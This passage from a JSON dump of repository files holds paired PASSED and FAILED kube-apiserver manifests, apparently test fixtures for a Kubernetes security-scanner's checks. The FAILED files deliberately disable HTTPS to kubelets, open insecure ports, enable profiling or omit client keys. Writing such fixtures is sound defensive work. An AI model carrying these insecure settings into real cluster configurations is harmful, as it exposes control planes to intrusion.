    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-single-key\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --etcd-certfile=/path/to/cert\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerEtcdCertAndKey/ApiServer-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-no-key\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerEtcdCertAndKey/ApiServer-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-both-keys\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --etcd-certfile=/path/to/cert\n    - --etcd-keyfile=/path/to/key\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerInsecureBindAddress/api-server-insecure-bind-address-FAILED.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: kube-apiserver\n  labels:\n    k8s-app: kube-apiserver\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      k8s-app: kube-apiserver\n      component: apiserver\n      provider: kubernetes\n  template:\n    metadata:\n      labels:\n        k8s-app: kube-apiserver\n        component: apiserver\n        provider: kubernetes\n    spec:\n      serviceAccountName: kube-apiserver\n      tolerations:\n      - key: node-role.kubernetes.io/master\n        operator: Exists\n        effect: NoSchedule\n      containers:\n      - name: kube-apiserver\n        image: k8s.gcr.io/kube-apiserver\n        command:\n        - kube-apiserver\n        - --insecure-bind-address=192.168.1.1\n        "
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerInsecureBindAddress/api-server-secure-bind-address-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --bind-address=192.168.1.1\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerInsecurePort/api-server-insecure-port-FAILED.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: kube-apiserver\n  labels:\n    k8s-app: kube-apiserver\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      k8s-app: kube-apiserver\n      component: apiserver\n      provider: kubernetes\n  template:\n    metadata:\n      labels:\n        k8s-app: kube-apiserver\n        component: apiserver\n        provider: kubernetes\n    spec:\n      serviceAccountName: kube-apiserver\n      tolerations:\n      - key: node-role.kubernetes.io/master\n        operator: Exists\n        effect: NoSchedule\n      containers:\n      - name: kube-apiserver\n        image: k8s.gcr.io/kube-apiserver\n        command:\n        - kube-apiserver\n        - --insecure-port=80\n        "
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerInsecurePort/api-server-insecure-port-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --insecure-port=0\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerKubeletClientCertAndKey/ApiServer-FAILED-2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-both-missing\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerKubeletClientCertAndKey/ApiServer-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-no-key\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --kubelet-client-certificate=/path/to/cert\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerKubeletClientCertAndKey/ApiServer-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-key-and-cert\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --kubelet-client-certificate=/path/to/cert\n    - --kubelet-client-key=/path/to/key\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerKubeletHttps/ApiServer-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-disabled\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --kubelet-https=false\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerKubeletHttps/ApiServer-PASSED-2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-default\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerKubeletHttps/ApiServer-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-enabled\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --kubelet-https=true\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerNamespaceLifecyclePlugin/ApiServerNamespaceLifecyclePlugin-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --enable-admission-plugins=other\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerNamespaceLifecyclePlugin/ApiServerNamespaceLifecyclePlugin-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --enable-admission-plugins=NamespaceLifecycle\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerNodeRestrictionPlugin/ApiServerNodeRestrictionPlugin-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --enable-admission-plugins=other\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerNodeRestrictionPlugin/ApiServerNodeRestrictionPlugin-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --enable-admission-plugins=NodeRestriction\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerPodSecurityPolicyPlugin/ApiServerPodSecurityPolicyPlugin-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --enable-admission-plugins=other\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerPodSecurityPolicyPlugin/ApiServerPodSecurityPolicyPlugin-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --enable-admission-plugins=PodSecurityPolicy\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerProfiling/ApiServer-FAILED-2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-default\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerProfiling/ApiServer-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-enabled\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --profiling=true\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerProfiling/ApiServer-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-disabled\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --profiling=false\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerRequestTimeout/api-server-request-timeout-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --request-timeout=1s9m3h\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerRequestTimeout/api-server-request-timeout-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --request-timeout=2m3s\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerSecurePort/api-server-secure-port-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-not-secure\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --secure-port=0\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerSecurePort/api-server-secure-port-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-secure\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --secure-port=80\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerSecurePort/api-server-secure-port-PASSED_2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-cmd-empty\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerSecurityContextDenyPlugin/ApiServerSecurityContextDenyPlugin-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --enable-admission-plugins=other\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerSecurityContextDenyPlugin/ApiServerSecurityContextDenyPlugin-PASSED.yaml",
